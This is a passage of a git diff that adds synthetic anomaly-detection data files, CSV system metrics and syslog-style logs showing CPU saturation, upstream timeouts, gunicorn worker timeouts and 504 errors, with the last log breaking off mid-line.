+2025-07-02T10:02:00Z,21.21,36.97,22.3,0.7,1.15 +2025-07-02T10:02:05Z,19.63,40.24,32.55,1.41,0.79 +2025-07-02T10:02:10Z,16.85,36.96,22.44,1.23,1.66 +2025-07-02T10:02:15Z,24.37,37.18,30.55,0.65,1.14 +2025-07-02T10:02:20Z,16.44,36.65,28.89,1.36,1.43 +2025-07-02T10:02:25Z,23.87,40.14,23.94,1.06,1.2 +2025-07-02T10:02:30Z,25.37,44.68,27.68,0.69,1.01 +2025-07-02T10:02:35Z,30.04,41.55,25.4,1.1,1.39 +2025-07-02T10:02:40Z,33.77,35.08,21.38,0.81,1.47 +2025-07-02T10:02:45Z,38.7,39.81,30.86,1.24,1.64 +2025-07-02T10:02:50Z,44.91,39.23,24.62,1.19,1.65 +2025-07-02T10:02:55Z,48.55,37.19,21.45,0.7,1.52 +2025-07-02T10:03:00Z,55.15,40.19,21.4,1.14,1.65 +2025-07-02T10:03:05Z,61.67,35.36,34.12,1.26,1.23 +2025-07-02T10:03:10Z,65.37,35.89,34.37,0.65,0.8 +2025-07-02T10:03:15Z,73.5,44.4,24.59,0.91,1.2 +2025-07-02T10:03:20Z,76.15,43.47,23.69,0.95,1.17 +2025-07-02T10:03:25Z,80.12,42.97,33.7,1.41,0.75 +2025-07-02T10:03:30Z,87.79,36.83,20.9,0.95,1.08 +2025-07-02T10:03:35Z,91.96,44.83,33.69,0.65,1.05 +2025-07-02T10:03:40Z,97.15,41.26,30.87,1.21,1.07 +2025-07-02T10:03:45Z,96.6,37.26,27.82,1.08,0.95 +2025-07-02T10:03:50Z,98.71,37.38,27.8,0.75,1.77 +2025-07-02T10:03:55Z,96.39,36.54,30.98,0.77,1.32 +2025-07-02T10:04:00Z,99.21,43.23,29.62,0.53,1.21 +2025-07-02T10:04:05Z,97.57,41.02,22.8,0.65,1.41 +2025-07-02T10:04:10Z,95.27,44.48,27.1,0.73,1.38 +2025-07-02T10:04:15Z,97.67,38.47,24.58,1.18,1.71 +2025-07-02T10:04:20Z,95.89,35.78,34.03,0.57,1.38 +2025-07-02T10:04:25Z,99.33,41.65,21.11,0.79,0.77 +2025-07-02T10:04:30Z,98.34,35.68,32.81,1.26,1.59 +2025-07-02T10:04:35Z,97.75,38.09,21.86,1.22,1.5 +2025-07-02T10:04:40Z,97.79,41.13,25.08,1.23,0.71 +2025-07-02T10:04:45Z,96.36,42.64,26.59,0.82,1.49 +2025-07-02T10:04:50Z,99.19,38.98,33.29,1.43,1.37 +2025-07-02T10:04:55Z,95.72,36.31,31.03,0.93,0.97 +2025-07-02T10:05:00Z,97.92,37.6,34.27,1.36,1.17 +2025-07-02T10:05:05Z,97.47,39.31,29.12,1.05,1.05 +2025-07-02T10:05:10Z,98.5,36.97,27.9,1.42,0.92 +2025-07-02T10:05:15Z,98.53,41.13,20.13,0.63,1.25 +2025-07-02T10:05:20Z,99.7,41.79,29.99,1.23,0.94 +2025-07-02T10:05:25Z,98.89,36.01,34.96,0.8,1.69 +2025-07-02T10:05:30Z,95.08,44.89,28.58,0.98,0.77 +2025-07-02T10:05:35Z,99.2,44.43,23.93,1.45,1.11 +2025-07-02T10:05:40Z,95.25,37.62,28.71,1.3,0.74 +2025-07-02T10:05:45Z,96.93,35.5,33.02,1.12,1.58 +2025-07-02T10:05:50Z,98.18,35.52,22.0,1.31,0.76 +2025-07-02T10:05:55Z,97.61,43.88,26.32,1.29,1.5 +2025-07-02T10:06:00Z,96.7,36.23,24.77,0.68,1.17 +2025-07-02T10:06:05Z,99.91,40.93,21.34,0.58,1.34 +2025-07-02T10:06:10Z,96.53,38.29,33.48,1.0,1.34 +2025-07-02T10:06:15Z,96.82,41.45,29.66,1.16,0.9 +2025-07-02T10:06:20Z,97.47,35.81,31.91,0.66,1.64 +2025-07-02T10:06:25Z,98.96,40.46,30.79,0.93,1.73 +2025-07-02T10:06:30Z,95.76,38.23,21.58,1.04,1.61 +2025-07-02T10:06:35Z,97.73,44.86,28.71,1.01,1.5 +2025-07-02T10:06:40Z,98.05,38.26,26.67,1.21,1.26 +2025-07-02T10:06:45Z,99.19,39.63,31.0,1.12,1.25 +2025-07-02T10:06:50Z,96.65,43.08,26.9,1.48,0.83 +2025-07-02T10:06:55Z,99.4,41.11,31.31,1.05,1.79 +2025-07-02T10:07:00Z,99.06,42.5,24.21,1.48,1.62 +2025-07-02T10:07:05Z,97.36,39.13,31.38,0.85,1.03 +2025-07-02T10:07:10Z,99.23,35.43,23.07,0.53,1.58 +2025-07-02T10:07:15Z,98.39,37.25,33.65,1.39,1.51 +2025-07-02T10:07:20Z,98.99,39.22,34.76,0.52,0.75 +2025-07-02T10:07:25Z,95.51,36.16,31.84,1.08,1.7 diff --git a/anom_dataset/scenario_1/anom_1_23.log b/anom_dataset/scenario_1/anom_1_23.log new file mode 100644 index 0000000000000000000000000000000000000000..497d0be7ac7a6ff7ce632dd5cdfceef5821ecfd5 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_23.log @@ -0,0 +1,48 @@ +Jul 02 10:00:00 sshd[17532]: Accepted publickey for ubuntu from 192.168.1.101 port 51696 ssh2 +Jul 02 10:00:25 systemd[1]: Started Session 6 of user ubuntu. +Jul 02 10:00:50 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:01:15 sshd[10901]: Accepted publickey for ubuntu from 192.168.1.101 port 50502 ssh2 +Jul 02 10:01:40 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 10:02:05 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:02:30 app[4567]: ERROR Timeout fetching data from backend service for user_id=1812 +Jul 02 10:02:30 sshd[18867]: Accepted publickey for ubuntu from 192.168.1.101 port 50884 ssh2 +Jul 02 10:02:40 app[4567]: ERROR Timeout fetching data from backend service for user_id=1357 +Jul 02 10:02:50 app[4567]: ERROR Timeout fetching data from backend service for user_id=1369 +Jul 02 10:02:55 sshd[14260]: Accepted publickey for ubuntu from 192.168.1.101 port 57558 ssh2 +Jul 02 10:03:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=133' +Jul 02 10:03:10 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=185' +Jul 02 10:03:20 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:504) +Jul 02 10:03:20 kubelet[2345]: INFO routine sync completed for pod web-app +Jul 02 10:03:30 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=168' +Jul 02 10:03:40 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=175' +Jul 02 10:03:45 systemd[1]: Started Session 8 of user ubuntu. +Jul 02 10:03:50 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=111' +Jul 02 10:04:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=155' +Jul 02 10:04:10 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:04:10 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=165' +Jul 02 10:04:20 app[4567]: ERROR Timeout fetching data from backend service for user_id=1005 +Jul 02 10:04:30 app[4567]: ERROR Timeout fetching data from backend service for user_id=1675 +Jul 02 10:04:35 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:04:40 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:566) +Jul 02 10:04:50 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:579) +Jul 02 10:05:00 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:575) +Jul 02 10:05:00 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:05:10 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:528) +Jul 02 10:05:20 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=107' +Jul 02 10:05:25 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:05:30 app[4567]: ERROR Timeout fetching data from backend service for user_id=1402 +Jul 02 10:05:40 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:555) +Jul 02 10:05:50 app[4567]: ERROR Timeout fetching data from backend service for user_id=1359 +Jul 02 10:05:50 sshd[18024]: Accepted publickey for ubuntu from 192.168.1.101 port 55629 ssh2 +Jul 02 10:06:00 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:598) +Jul 02 10:06:10 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:534) +Jul 02 10:06:15 kubelet[2345]: INFO Successfully probed container metrics-collector +Jul 02 10:06:20 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:547) +Jul 02 10:06:30 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=104' +Jul 02 10:06:40 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=181' +Jul 02 10:06:40 nginx[1123]: GET /api/status HTTP/1.1 200 OK +Jul 02 10:06:50 app[4567]: ERROR Timeout fetching data from backend service for user_id=1967 +Jul 02 10:07:00 nginx[1123]: ERROR upstream timed out (110: Connection timed out) while connecting to upstream, client: 192.168.1.5, server: _, request: 'GET /api/data?id=117' +Jul 02 10:07:05 systemd[1]: Started Session 8 of user ubuntu. +Jul 02 10:07:10 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:521) +Jul 02 10:07:20 gunicorn[123]: [CRITICAL] WORKER TIMEOUT (pid:574) diff --git a/anom_dataset/scenario_1/anom_1_24.csv b/anom_dataset/scenario_1/anom_1_24.csv new file mode 100644 index 0000000000000000000000000000000000000000..3bd21bb0287edbe1c61ae7aed147f01aeb6d851d --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_24.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-04T14:00:00Z,18.17,39.56,32.73,0.66,1.1 +2025-08-04T14:00:05Z,18.69,44.96,25.76,0.72,1.22 +2025-08-04T14:00:10Z,15.32,41.85,29.77,0.61,0.87 +2025-08-04T14:00:15Z,19.48,36.89,29.96,0.54,1.23 +2025-08-04T14:00:20Z,22.63,39.1,34.33,0.73,1.06 +2025-08-04T14:00:25Z,15.91,43.46,22.07,0.64,1.04 +2025-08-04T14:00:30Z,23.28,40.47,34.2,0.83,1.27 +2025-08-04T14:00:35Z,20.22,38.5,23.52,1.18,1.23 +2025-08-04T14:00:40Z,18.79,44.95,31.66,0.65,1.1 +2025-08-04T14:00:45Z,16.76,36.44,34.15,1.08,0.95 +2025-08-04T14:00:50Z,22.56,37.9,26.88,0.74,1.24 +2025-08-04T14:00:55Z,19.83,40.74,34.63,1.02,0.83 +2025-08-04T14:01:00Z,19.32,39.07,22.53,0.98,1.46 +2025-08-04T14:01:05Z,16.87,39.38,24.96,0.74,0.83 +2025-08-04T14:01:10Z,18.81,44.88,33.58,0.61,1.47 +2025-08-04T14:01:15Z,23.52,38.99,27.88,0.98,1.06 +2025-08-04T14:01:20Z,17.18,39.82,33.66,0.85,1.08 +2025-08-04T14:01:25Z,21.8,40.49,20.96,0.84,1.04 +2025-08-04T14:01:30Z,23.71,39.52,34.43,0.77,0.84 +2025-08-04T14:01:35Z,18.2,36.04,25.68,0.84,0.81 +2025-08-04T14:01:40Z,16.96,43.53,23.3,0.53,0.99 +2025-08-04T14:01:45Z,20.34,42.74,26.54,0.71,1.44 +2025-08-04T14:01:50Z,19.52,44.25,26.99,1.09,1.02 +2025-08-04T14:01:55Z,19.97,37.99,30.2,0.92,1.01 +2025-08-04T14:02:00Z,15.03,43.46,27.49,0.88,1.15 +2025-08-04T14:02:05Z,17.27,41.16,23.22,0.78,1.32 +2025-08-04T14:02:10Z,16.19,41.68,24.18,0.67,0.87 +2025-08-04T14:02:15Z,22.94,43.18,24.41,1.19,1.33 +2025-08-04T14:02:20Z,19.1,42.35,26.95,0.56,1.02 +2025-08-04T14:02:25Z,24.99,41.25,30.13,0.66,1.2 +2025-08-04T14:02:30Z,25.51,40.37,23.41,1.25,1.48 +2025-08-04T14:02:35Z,30.59,44.16,35.72,1.18,1.08 +2025-08-04T14:02:40Z,35.51,41.62,32.26,0.87,1.21 +2025-08-04T14:02:45Z,40.41,44.65,28.08,1.18,0.9 +2025-08-04T14:02:50Z,44.07,38.04,25.77,0.9,1.07 +2025-08-04T14:02:55Z,51.87,40.79,29.26,1.26,0.82 +2025-08-04T14:03:00Z,53.25,39.43,25.96,0.98,1.01 +2025-08-04T14:03:05Z,58.77,40.73,23.73,0.82,0.78 +2025-08-04T14:03:10Z,64.89,38.56,32.77,1.19,1.02 +2025-08-04T14:03:15Z,68.42,41.74,26.52,0.64,1.33 +2025-08-04T14:03:20Z,75.1,41.56,33.65,0.86,0.77 +2025-08-04T14:03:25Z,79.14,42.23,22.74,0.96,0.81 +2025-08-04T14:03:30Z,85.4,38.06,24.47,0.86,1.53 +2025-08-04T14:03:35Z,91.39,43.83,23.29,0.9,0.83 +2025-08-04T14:03:40Z,96.25,37.92,29.93,0.86,0.93 +2025-08-04T14:03:45Z,98.85,37.96,26.34,1.1,1.35 +2025-08-04T14:03:50Z,99.76,39.8,31.26,1.24,1.05 +2025-08-04T14:03:55Z,99.55,37.77,28.08,0.55,1.23 +2025-08-04T14:04:00Z,99.28,43.63,27.71,0.53,1.66 +2025-08-04T14:04:05Z,99.27,46.02,27.05,0.82,1.28 +2025-08-04T14:04:10Z,98.55,39.36,24.46,0.63,1.65 +2025-08-04T14:04:15Z,98.95,42.28,31.21,0.88,1.17 +2025-08-04T14:04:20Z,98.54,44.64,26.75,0.87,1.47 +2025-08-04T14:04:25Z,98.53,37.79,27.3,1.27,1.65 +2025-08-04T14:04:30Z,98.9,40.53,24.09,0.59,1.64 +2025-08-04T14:04:35Z,99.55,39.58,22.24,1.33,1.68 +2025-08-04T14:04:40Z,98.8,37.42,21.82,0.62,1.05 +2025-08-04T14:04:45Z,99.49,37.27,23.99,0.81,0.93 +2025-08-04T14:04:50Z,99.4,43.53,28.77,0.64,1.62 +2025-08-04T14:04:55Z,99.07,46.08,25.44,1.03,1.53 +2025-08-04T14:05:00Z,98.51,39.42,21.68,0.5,1.24 +2025-08-04T14:05:05Z,99.73,43.79,33.92,0.56,1.57 +2025-08-04T14:05:10Z,98.92,41.43,26.07,1.35,1.08 +2025-08-04T14:05:15Z,98.72,39.88,29.54,0.8,1.11 +2025-08-04T14:05:20Z,99.32,45.64,29.34,1.14,1.01 +2025-08-04T14:05:25Z,98.62,45.3,33.97,0.84,1.66 +2025-08-04T14:05:30Z,98.64,37.08,33.13,0.58,0.99 +2025-08-04T14:05:35Z,99.73,44.39,32.39,0.54,1.19 +2025-08-04T14:05:40Z,98.87,39.74,26.85,0.51,1.53 +2025-08-04T14:05:45Z,99.13,44.81,28.34,1.28,1.02 +2025-08-04T14:05:50Z,99.11,45.29,26.19,0.69,0.95 +2025-08-04T14:05:55Z,99.14,38.78,29.9,0.56,1.21 +2025-08-04T14:06:00Z,98.92,42.54,29.89,1.28,1.35 +2025-08-04T14:06:05Z,99.69,38.36,21.76,0.83,1.07 +2025-08-04T14:06:10Z,98.7,37.12,27.26,0.9,1.39 +2025-08-04T14:06:15Z,99.6,44.74,32.27,1.31,1.07 +2025-08-04T14:06:20Z,99.64,39.16,32.36,0.87,1.04 +2025-08-04T14:06:25Z,99.05,39.72,33.73,0.58,1.45 +2025-08-04T14:06:30Z,98.76,46.98,21.3,0.98,1.64 +2025-08-04T14:06:35Z,98.72,45.07,26.87,0.56,0.95 +2025-08-04T14:06:40Z,99.12,38.3,31.43,0.83,1.01 +2025-08-04T14:06:45Z,99.25,44.8,23.23,0.72,1.16 +2025-08-04T14:06:50Z,99.54,46.37,25.54,0.65,1.48 +2025-08-04T14:06:55Z,98.98,41.07,31.18,0.96,1.22 +2025-08-04T14:07:00Z,98.86,38.03,32.82,0.75,1.42 +2025-08-04T14:07:05Z,99.65,43.59,24.24,1.2,1.69 +2025-08-04T14:07:10Z,99.67,46.75,22.32,1.15,0.98 +2025-08-04T14:07:15Z,99.37,43.97,22.88,0.74,1.21 +2025-08-04T14:07:20Z,99.19,41.15,32.15,0.72,0.96 +2025-08-04T14:07:25Z,99.24,38.95,32.17,0.98,1.54 diff --git a/anom_dataset/scenario_1/anom_1_24.log b/anom_dataset/scenario_1/anom_1_24.log new file mode 100644 index 0000000000000000000000000000000000000000..ae402fdfe07f8c759412c50ad40970a0e885cf47 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_24.log @@ -0,0 +1,44 @@ +Aug 04 14:00:05 app-server[8939]: INFO processing request for /api/data +Aug 04 14:00:15 cron[20806]: (root) CMD ( /usr/local/bin/rotate_logs.sh) +Aug 04 14:00:20 kubelet[17955]: INFO routine sync completed for pod web-app +Aug 04 14:00:35 nginx[13137]: GET /api/status HTTP/1.1 200 OK +Aug 04 14:00:40 systemd[1]: Started Session 14638 of user ubuntu. +Aug 04 14:00:50 app-server[3396]: INFO user authenticated successfully user_id=338 +Aug 04 14:01:05 systemd[1]: Started Session 22338 of user ubuntu. +Aug 04 14:01:25 nginx[21696]: GET /api/status HTTP/1.1 200 OK +Aug 04 14:01:30 cron[6598]: (root) CMD ( /usr/local/bin/rotate_logs.sh) +Aug 04 14:01:35 kubelet[5372]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 04 14:02:25 app-server[24751]: INFO processing request for /api/data +Aug 04 14:02:35 sshd[9477]: Accepted publickey for ubuntu from 192.168.1.180 port 43292 ssh2 +Aug 04 14:02:40 app-server[4378]: INFO user authenticated successfully user_id=182 +Aug 04 14:02:45 nginx[21521]: GET /api/status HTTP/1.1 200 OK +Aug 04 14:03:05 app-server[15536]: WARN request to /api/data is taking longer than usual: 997ms +Aug 04 14:03:15 app-server[14610]: WARN request to /api/data is taking longer than usual: 1143ms +Aug 04 14:03:25 app-server[12868]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:03:25 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:03:30 app-server[3178]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:03:30 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:03:50 app-server[17307]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:03:50 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:04:05 app-server[22551]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:04:05 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:04:30 app-server[5691]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:04:30 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:05:05 app-server[15770]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:05:05 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:05:30 app-server[13096]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:05:30 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:05:35 app-server[20297]: INFO processing request for /api/data +Aug 04 14:05:50 app-server[17281]: INFO user authenticated successfully user_id=368 +Aug 04 14:06:00 app-server[8671]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:06:00 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:06:10 app-server[24829]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:06:10 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:06:30 app-server[10044]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:06:30 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:06:45 app-server[4671]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:06:45 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout +Aug 04 14:07:00 app-server[6064]: INFO user authenticated successfully user_id=234 +Aug 04 14:07:05 app-server[2965]: INFO processing request for /api/data +Aug 04 14:07:10 app-server[20866]: ERROR request to upstream service timed out after 30000ms +Aug 04 14:07:10 nginx[1123]: GET /api/data HTTP/1.1 504 Gateway Timeout \ No newline at end of file diff --git a/anom_dataset/scenario_1/anom_1_25.csv b/anom_dataset/scenario_1/anom_1_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..b64bcecc2ff203443b70e815c75ced09c0689b22 --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-04T10:00:00Z,10.41,41.34,28.22,1.12,1.08 +2025-08-04T10:00:05Z,12.16,41.95,26.89,0.62,1.02 +2025-08-04T10:00:10Z,18.36,36.88,20.29,0.91,1.39 +2025-08-04T10:00:15Z,15.64,42.74,20.12,1.04,1.18 +2025-08-04T10:00:20Z,17.37,37.6,22.73,1.49,1.27 +2025-08-04T10:00:25Z,10.98,42.97,23.12,0.59,1.68 +2025-08-04T10:00:30Z,16.52,36.31,27.5,1.48,1.45 +2025-08-04T10:00:35Z,11.34,44.46,28.5,0.69,0.97 +2025-08-04T10:00:40Z,18.08,43.44,24.15,1.08,1.14 +2025-08-04T10:00:45Z,19.63,39.61,27.09,0.51,0.81 +2025-08-04T10:00:50Z,19.04,35.17,24.37,0.76,0.71 +2025-08-04T10:00:55Z,19.53,44.31,24.88,1.08,1.42 +2025-08-04T10:01:00Z,13.12,43.99,21.98,1.28,1.07 +2025-08-04T10:01:05Z,17.29,37.11,22.66,0.79,1.13 +2025-08-04T10:01:10Z,19.49,41.71,22.07,1.01,0.76 +2025-08-04T10:01:15Z,10.8,38.47,26.88,0.65,1.18 +2025-08-04T10:01:20Z,19.17,43.31,21.91,0.98,0.8 +2025-08-04T10:01:25Z,12.72,40.77,20.9,1.15,1.73 +2025-08-04T10:01:30Z,11.14,41.84,24.59,0.87,1.35 +2025-08-04T10:01:35Z,15.12,35.43,25.31,1.25,0.79 +2025-08-04T10:01:40Z,18.77,40.75,21.01,1.08,0.87 +2025-08-04T10:01:45Z,10.07,39.73,28.28,1.4,1.21 +2025-08-04T10:01:50Z,19.61,43.82,29.3,0.96,1.43 +2025-08-04T10:01:55Z,10.35,44.66,23.96,0.65,1.38 +2025-08-04T10:02:00Z,10.72,39.86,27.69,0.78,1.16 +2025-08-04T10:02:05Z,10.79,38.97,20.77,1.38,1.33 +2025-08-04T10:02:10Z,12.8,41.99,26.97,1.33,1.16 +2025-08-04T10:02:15Z,11.89,40.78,27.66,1.24,1.71 +2025-08-04T10:02:20Z,17.99,44.04,27.39,1.28,1.38 +2025-08-04T10:02:25Z,12.11,43.5,26.47,1.28,0.96 +2025-08-04T10:02:30Z,21.94,39.93,22.51,0.98,1.23 +2025-08-04T10:02:35Z,26.31,40.06,23.48,0.84,1.22 +2025-08-04T10:02:40Z,35.54,41.47,25.96,0.87,1.06 +2025-08-04T10:02:45Z,43.21,38.02,28.35,0.52,1.19 +2025-08-04T10:02:50Z,51.98,41.57,23.41,0.82,1.47 +2025-08-04T10:02:55Z,57.15,41.54,29.65,1.2,1.47 +2025-08-04T10:03:00Z,66.03,43.76,23.61,0.61,0.73 +2025-08-04T10:03:05Z,73.92,37.39,20.65,0.62,0.82 +2025-08-04T10:03:10Z,78.87,35.48,25.43,0.52,1.75 +2025-08-04T10:03:15Z,85.87,41.45,20.17,0.75,1.39 +2025-08-04T10:03:20Z,96.47,36.68,26.57,0.7,1.36 +2025-08-04T10:03:25Z,99.69,39.6,23.35,0.98,0.92 +2025-08-04T10:03:30Z,97.77,41.2,28.27,1.25,0.91 +2025-08-04T10:03:35Z,99.16,43.98,24.38,0.57,0.7 +2025-08-04T10:03:40Z,97.45,44.56,21.96,0.74,1.08 +2025-08-04T10:03:45Z,95.89,43.97,21.22,1.24,1.58 +2025-08-04T10:03:50Z,98.1,39.33,21.07,1.13,1.25 +2025-08-04T10:03:55Z,97.37,43.27,23.56,1.06,0.77 +2025-08-04T10:04:00Z,98.48,39.96,22.25,1.16,1.01 +2025-08-04T10:04:05Z,97.53,40.48,25.83,1.39,1.24 +2025-08-04T10:04:10Z,97.26,44.67,20.69,1.47,1.71 +2025-08-04T10:04:15Z,98.56,38.2,22.32,1.14,1.57 +2025-08-04T10:04:20Z,99.54,41.61,28.74,1.27,0.88 +2025-08-04T10:04:25Z,98.25,35.56,25.69,0.72,0.97 +2025-08-04T10:04:30Z,98.8,38.35,25.02,0.55,0.94 +2025-08-04T10:04:35Z,95.49,39.94,20.09,0.64,1.56 +2025-08-04T10:04:40Z,96.29,39.62,28.48,0.76,1.57 +2025-08-04T10:04:45Z,97.07,36.41,21.12,0.77,1.45 +2025-08-04T10:04:50Z,98.94,37.33,29.92,1.23,1.43 +2025-08-04T10:04:55Z,96.73,35.47,20.69,0.74,1.33 +2025-08-04T10:05:00Z,95.11,38.75,23.3,0.87,0.72 +2025-08-04T10:05:05Z,97.77,37.97,26.75,1.04,0.76 +2025-08-04T10:05:10Z,97.6,43.57,23.56,1.11,1.63 +2025-08-04T10:05:15Z,97.09,36.08,21.69,1.32,0.9 +2025-08-04T10:05:20Z,95.63,35.22,24.1,0.75,1.74 +2025-08-04T10:05:25Z,99.02,36.5,22.11,0.8,1.25 +2025-08-04T10:05:30Z,95.14,36.4,27.98,0.74,0.82 +2025-08-04T10:05:35Z,97.74,42.33,22.38,0.5,1.56 +2025-08-04T10:05:40Z,96.59,41.42,25.77,1.2,0.78 +2025-08-04T10:05:45Z,99.75,41.31,20.17,1.37,1.03 +2025-08-04T10:05:50Z,97.94,43.95,20.32,1.24,1.49 +2025-08-04T10:05:55Z,99.92,39.7,27.39,1.19,1.35 +2025-08-04T10:06:00Z,99.11,36.39,21.77,0.57,0.91 +2025-08-04T10:06:05Z,95.68,40.49,26.66,1.35,1.37 +2025-08-04T10:06:10Z,98.43,39.18,26.92,1.21,1.25 +2025-08-04T10:06:15Z,98.41,38.18,22.74,0.85,1.53 +2025-08-04T10:06:20Z,99.01,43.09,22.11,0.74,1.25 +2025-08-04T10:06:25Z,97.22,42.1,20.78,0.92,0.87 +2025-08-04T10:06:30Z,97.47,36.56,28.95,1.37,0.97 +2025-08-04T10:06:35Z,96.7,43.15,28.03,0.98,0.92 +2025-08-04T10:06:40Z,97.0,35.12,21.36,1.14,1.79 +2025-08-04T10:06:45Z,99.28,39.18,20.72,1.4,1.34 +2025-08-04T10:06:50Z,97.16,42.55,26.81,0.57,1.47 +2025-08-04T10:06:55Z,99.5,39.63,29.9,0.52,1.3 +2025-08-04T10:07:00Z,96.91,42.89,28.73,0.57,1.51 +2025-08-04T10:07:05Z,99.04,35.88,29.67,1.44,0.8 +2025-08-04T10:07:10Z,95.97,44.61,20.5,0.8,1.1 +2025-08-04T10:07:15Z,97.55,38.49,23.02,0.72,1.54 +2025-08-04T10:07:20Z,98.04,35.58,27.07,0.64,0.96 +2025-08-04T10:07:25Z,99.61,38.56,21.83,0.92,1.68 diff --git a/anom_dataset/scenario_1/anom_1_25.log b/anom_dataset/scenario_1/anom_1_25.log new file mode 100644 index 0000000000000000000000000000000000000000..802b37008a255aaf817b49b74bf1c6cfb8442eed --- /dev/null +++ b/anom_dataset/scenario_1/anom_1_25.log @@ -0,0 +1,78 @@ +Aug 04 10:00:00 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 04 10:00:00 systemd[1]: Started Session 15 of user ubuntu. +Aug 04 10:00:00 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:00:25 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:00:35 systemd[1]: Started Session 22 of user ubuntu. +Aug 04 10:00:50 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 04 10:00:50 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:01:10 systemd[1]: Started Session 29 of user ubuntu. +Aug 04 10:01:15 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:01:40 kubelet[2345]: INFO routine sync completed for pod web-app +Aug 04 10:01:40 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:01:45 systemd[1]: Started Session 36 of user ubuntu. +Aug 04 10:02:05 web-app[1123]: GET /api/data HTTP/1.1 200 OK +Aug 04 10:02:20 systemd[1]: Started Session 43 of user ubuntu. +Aug 04 10:02:30 CRON[213302]: (ubuntu) CMD (/usr/local/bin/backup.sh) +Aug 04 10:02:30 web-app[1123]: WARN request to /api/data took 200.45ms +Aug 04 10:02:35 web-app[1123]: WARN request to /api/data took 222.08ms +Aug 04 10:02:40 web-app[1123]: WARN request to /api/data took 172.52ms +Aug 04 10:02:45 web-app[1123]: WARN request to /api/data took 296.4ms +Aug 04 10:02:50 web-app[1123]: WARN request to /api/data took 220.4ms +Aug 04 10:02:55 web-app[1123]: WARN request to /api/data took 251.03ms +Aug 04 10:03:00 web-app[1123]: WARN request to /api/data took 283.74ms +Aug 04 10:03:05 web-app[1123]: WARN request to /api/data took 280.31ms +Aug 04 10:03:10 web-app[1123]: WARN request to /api/data took 269.21ms +Aug 04 10:03:15 web-app[1123]: WARN request to /api/data took 282.95ms +Aug 04 10:03:20 web-app[1123]: WARN request to 